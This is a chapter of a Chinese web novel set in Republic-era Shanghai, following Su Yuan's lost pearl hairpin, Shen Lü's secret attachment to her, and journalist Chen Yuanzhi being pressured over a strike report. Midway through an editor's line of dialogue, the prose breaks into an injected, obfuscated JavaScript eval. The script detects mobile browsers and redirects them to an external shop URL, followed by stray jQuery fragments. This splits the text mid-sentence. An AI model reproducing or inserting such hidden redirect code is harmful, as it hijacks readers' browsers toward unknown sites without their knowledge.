苏沅一怔，慈善游园会。


    去年春天，静安寺路那边办的，各家的太太小姐都去了，她穿了件新做的鹅黄旗袍，戴了那枚发卡，还——


    她忽然顿住，还什么？


    记忆像是被蒙上了一层薄纱，模模糊糊，怎么也抓不住清晰的轮廓。


    “掉了也不吭一声。”她嘟囔着，赌气似的把首饰盒盖上，“那可是东珠的，能换一辆黄包车呢。”


    阿香憋着笑：“小姐您什么样的车子没有，哪里缺这一辆黄包车呀。”


    “缺不缺是一回事，掉不掉是另一回事。”苏沅理直气壮，“我得去问问爹，是不是他偷偷拿去送人了。”


    阿香一时无语：“……老爷拿小姐的发卡送人？”


    苏沅已经起身往外走了。


    苏青阳的书房在一楼东侧，门半掩着，里头传来翻纸的声音。苏沅敲了敲门，不等应声就推门进去。


    苏青阳坐在书桌后面，手里拿着什么东西在看。


    苏沅走近，“爹，我那枚珍珠——”


    话到一半戛然而止，她看到桌上摊着好几份文件，最上头那份，抬头写着几个大字：


    【苏氏棉纺厂——沈氏航运合作合同草案】


    沈氏航运，沈律。


    苏沅顺着标题往下看，“苏氏棉纺厂需优先使用沈氏航运进行货物运输……”


    她心头微微动了一下，说不上来是什么感觉。


    就好像，有一根看不见的线，在她一无所知的地方，正一圈一圈，悄然将她与某个身影，紧紧缠绕。


    “沅沅？”苏青阳抬起头，“你刚才说什么？”


    苏沅回过神，连忙把视线从合同上挪开，“没什么，我就是问，您见着我那枚珍珠发卡了吗？”


    “发卡？”苏青阳故作疑惑地皱眉，“我一个大老爷们，要你小姑娘的发卡做什么？”


    “那您有没有拿我东西送人？”


    苏青阳把笔往桌上一搁，一脸冤枉：“我什么时候拿过我女儿的心爱之物去做人情？”


    苏沅想了想，也是。


    她爹这人，抠是抠了点，但不至于偷女儿的首饰。


    “那可能就是掉在游园会了。”她叹气，“阿香说那天人多。”


    苏青阳“嗯”了一声，低头继续看合同。


    可苏沅却没走，她站在门口，视线又往合同上溜了一眼。


    “爹，咱家要跟沈家合作了？”


    苏青阳头也不抬：“刚谈妥，明天就签。”


    “那条款……”


    “条款怎么了？”


    苏沅张了张嘴，想说“为什么要优先用沈氏航运”，但话到嘴边又咽回去了。


    她不懂生意上的事，说不定这是正常的呢。


    “没什么，那我走了。”


    苏青阳“嗯”了一声。


    苏沅转身要走，脚步迈到门口，却又莫名停住。


    “爹，沈先生这个人，您觉得怎么样？”


    苏青阳抬起头，看着女儿的背影，狐疑问：“怎么突然问起他？”


    苏沅沉默了一下：“就随便问问。”


    “随便问问？”苏青阳故意拉长语调。


    “嗯。”


    苏青阳眯起眼睛，他看着女儿那副欲盖弥彰的样子，忽然想起前些天老婆说的话：“沈先生今日特意问你爱吃什么，我瞧他对你有意。”


    “咳。”他轻咳一声。


    “沈先生这个人，”他慢悠悠地说，“年轻有为，做事稳当，是个可以托付的。”


    苏沅回过头，“托付什么？”


    苏青阳没答，低下头，继续看合同。


    苏沅站在原地等了两秒，没等到下文，只好自己走了。


    苏青阳抬起头，看她的背影，脸上笑意更深了。


    游园会那天的事，苏沅本来快忘了。


    可不知道为什么，从书房出来之后，有些画面就开始一点一点往外冒。


    她记得那天太阳很好，自己穿了件鹅黄的旗袍，梳了新的发髻，头上的发卡戴亮晶晶的，有好几个太太夸好看。


    她还记得——她突然站住脚步，那天，她好像看见过一个人，一个立在树下的身影，远远的，安安静静。


    身穿深色西装，与满园的姹紫嫣红格格不入，却偏偏一眼就能让人注意到。他没有与人寒暄，没有四处应酬，就只是站在那里，沉静地望着一个方向。


    望着……谁？


    那时她只当是哪家不相识的少爷，或是来赴宴的宾客，从未深想。


    现在想来，她忽然想起一件事。


    他看的，是她那个方向，是自己。


    苏沅僵在原地，脸颊瞬间烧得滚烫，愣了足足五秒才回过神。


    她慌忙摇摇头，小声自我安慰：“想多了想多了，人家不过是随便站一站，随便看一看，瞎琢磨什么。”


    她强装镇定地继续往前走。


    可才走两步，又一次顿住，不对。


    那天她戴着发卡，后来发卡不见了。


    而他沈律——


    她不知道他到底做了什么，可又好像什么都明白了。


    苏沅深吸一口气，把这些乱七八糟的念头甩出脑子。


    肯定是最近太累了，又是闸北又是陈远之又是沈律的，脑子都转不过来了。


    睡一觉就好了。


    睡一觉，就不会再胡思乱想了。


    *


    沈公馆，二楼书房。


    沈律坐在书桌前，手里拿着一份文件在看。窗外的天色已经暗了，台灯的光落在他脸上，把侧脸的线条勾勒得格外分明。


    秦舟敲门进来。


    “先生，苏老爷那边来电话了，说合同没问题，明天就可以签。”


    沈律“嗯”了一声，没抬头。


    秦舟站在一旁等候片刻，见他没有别的吩咐，正要躬身退下——


    “等等。”


    沈律忽然抬眼，他把手里的文件放下，拉开书桌最下层的抽屉。


    秦舟看见他从抽屉里拿出一样东西，小巧玲珑，莹润微光。


    沈律垂眸看着那东西，看了好几秒，然后他把它放回抽屉，抽屉关上。


    “没事了。”他又说，“出去吧。”


    秦舟应了一声，转身离开。


    沈律侧身看向他窗外，窗外什么都没有。


    抽屉里，放着一枚珍珠发卡，在昏暗的光线里，泛着温润的光。发卡下面，压着一张报纸剪影。


    去年《申报》的副刊版。


    半版篇幅的照片上，慈善游园会人群中央，穿鹅黄旗袍的少女侧首浅笑，发间一点珍珠，熠熠生辉。


    照片下面的小字写着：《慈善游园会掠影——苏氏绸缎庄千金苏沅小姐》


    沈律的手，不知何时又拉开了抽屉，低头看着剪影上的人，看了很久。


    很久之后，他轻轻把抽屉推回去。


    锁上了。


    *


    陈远之这两天眼皮一直在跳，左眼跳财，右眼跳灾。偏偏他两只眼一起跳，不知道算什么。


    稿子见报第三天，编辑部里气氛明显不太对。平时跟他打招呼的同事，看见他绕道走，连眼神都不对一下。


    他问赵立群，对方支支吾吾：“没、没什么，可能大家最近忙……”


    陈远之不信，但他没再问。


    这时，主编从玻璃隔间里出来，身后跟着两个人。一个穿西装，戴金丝眼镜，像是秘书。一个穿长衫，手里拿根文明棍，一看就是有来头的。


    主编的脸笑成了一朵花：“史密斯先生亲自来，真是蓬荜生辉——小陈，你过来一下。”


    陈远之走过去。


    史密斯上下打量他一眼，轻蔑的眼神像看一只蟑螂。他一言不发，只对身边秘书微微颔首。


    秘书上前一步，把一张名片拍在陈远之胸前，后者连忙接住，一看，“怡和洋行‘大班史密斯”


    “陈记者，”秘书的中文很标准，标准得让人发冷，“您那篇关于罢工的报道，史密斯先生看过了。部分内容与事实不符。”


    陈远之攥紧拳头，“哪里不符？”


    “比如，”秘书笑了笑，“您说我们克扣工人工资，这个没有证据。您说我们勾结巡捕房镇压罢工，这个更没有证据。您写的东西，会给洋行带来不必要的麻烦。”


    “罢工是真，工人被打是真，这些难道还不够——”


    “陈记者。”


    史密斯忽然开口，中文竟然也很流利，“年轻人有正义感是好事，可若是用错了地方，只会引火烧身。”


    说完，他转身走了。


    秘书临走前，回头看了一眼主编，主编吓得的脸已经青了。


    等他们出门，主编劝说道：“小陈啊，稿子你先放一放。”


    陈远之愣住：“放一放？”


    “暂时别跟了。史密斯先生那边，压力太大，报社顶不住。你先休息几天，等风声过了再说。”


    “主编，那篇报道——”


    “我说了先放一放！”主编拍桌子，声音突然变大，“你听不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193033|196988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    懂吗？人家是洋行，跟工部局有关系，报社还想在上海混，就不能得罪。”


    “……”陈远之攥紧拳头。


    主编看着他，又叹了口气，语气软下来：“小陈啊，我知道你有理想，但理想不能当饭吃。你回去好好想想，想通了再回来。”


    陈远之转身就走，门“砰”一声甩上。


    赵立群在门外等他，一把把他拉到楼梯间。


    “你疯了，主编都说了让你休息，你还甩脸子，真想把工作丢了吗？”


    陈远之沉默不语。


    赵立群左右看看，确认没人，凑到他耳边：“远之，我跟你说个事，你听了别激动。”


    陈远之缓缓抬起眼。


    “史密斯那帮人，本来不是来警告那么简单。我听说，他们连打手都准备好了，要教训你一顿。”


    陈远之瞳孔一缩：“为什么没动手？”


    “因为，有人打了招呼。”


    “谁？”


    “沈先生。”


    陈远之的心猛地一沉。


    “他？”


    “嗯。我听一个在巡捕房的朋友说的。史密斯的人刚放话，沈律那边就动了。你知道最近长江口那边，好几艘洋行的货船意外搁浅的事吗？”


    陈远之点头，“那事儿上报了，说是航道问题。”


    “航道个屁！有人在传，是沈律在整顿航运业，谁不听话，谁的船就别想顺顺当当进港。史密斯那几艘船，就是被他的人‘照顾’的。”


    陈远之的脑子嗡嗡响。“所以他……帮我？”


    “不是帮你。”赵立群摇头，“是卖史密斯一个人情。我帮你摆平航道的事，你放那个记者一马。两清。”


    “！”陈远之站在原地，像被钉住了。


    又是沈律，又是他。


    工部局的入场证是他给的。


    如今这条命，也是他保的。


    他凭什么？他凭什么？


    凭什么要用这种居高临下的姿态，一次次施舍他？！


    屈辱与愤怒瞬间冲垮理智，陈远之猛地转身，疯了一般往外冲。


    “远之！远之你去哪？”赵立群在后面喊，他没回头。


    他跑出报社，跑过南京路，跑过外滩，一路狂奔到沈公馆门口。


    大门紧闭。


    门房探出头，不耐烦地打量他：“找谁？”


    “沈律！”陈远之喘着粗气，“让他出来！”


    “疯子。”门房嗤笑一声，缩回头，再也不理。


    门没开。


    陈远之站在铁门外，心头那点可怜的自尊，在这一刻被狠狠踩在脚下。他再也忍不住，对着大门，扯开嗓子喊：


    “沈律！你出来！”


    无人应答。


    “沈律！你到底什么意思！”


    回应他的，只有呼啸的风。


    陈远之攥紧拳头，用尽全身力气，喊出那句藏在心底、屈辱至极的话：


    “施舍我一次还不够，还要次次施舍吗——！！”


    二楼书房。


    沈律站在窗边，手搭在窗帘上，看着楼下几乎崩溃的身影，他神情淡淡的，仿佛在看一出与自己无关的闹戏。


    秦舟站在身后，低声请示：“先生，要不要……”


    沈律放下窗帘，挡住了窗外的阳光，也挡住了声嘶力竭的身影。


    秦舟垂手待命。


    沈律转身回到书桌前，从容落座，拿起一份文件翻阅，“让他去后院等。”


    秦舟一怔：“后院？”


    “嗯。”


    “那……前门……”


    沈律抬眼，淡淡瞥了他一下。


    眼神很平静，但秦舟跟了他七年，自然知道是什么意思。


    走后门。


    让陈远之从后门进，连堂堂正正从大门踏入的资格，都不给他。


    秦舟低下头：“是。”


    他转身要走。


    “等等。”


    秦舟驻足。


    “让厨房准备一壶茶。他喊了那么久，嗓子该哑了。”


    秦舟愣了一下，低声应下：“……是。”


    他退出书房，门关上的一瞬间，朝里看了一眼。


    沈律垂眸阅文，神情平静，姿态从容，看不出半分异样。


    但秦舟知道，那壶茶，不是给陈远之的，是给苏沅的。


    因为如果陈远之在沈公馆出事，苏沅会难过。


    仅此而已。


    仅此而已。


    秦舟轻轻叹了口气，下楼去了。